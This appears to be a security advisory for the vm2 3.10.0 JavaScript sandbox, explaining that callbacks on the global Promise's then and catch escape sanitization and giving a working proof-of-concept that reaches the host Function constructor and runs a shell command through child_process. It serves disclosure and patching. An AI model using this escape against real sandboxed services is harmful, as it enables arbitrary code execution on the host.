In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.
const { VM } = require("vm2");
const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
);
f();
});
`;
new VM().run(code);
In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.
References
In vm2 for version 3.10.0,
Promise.prototype.thenPromise.prototype.catchcallback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.In lib/setup-sandbox.js, the callback function of
localPromise.prototype.thenis sanitized, butglobalPromise.prototype.thenis not sanitized. The return value of async functions isglobalPromiseobject.References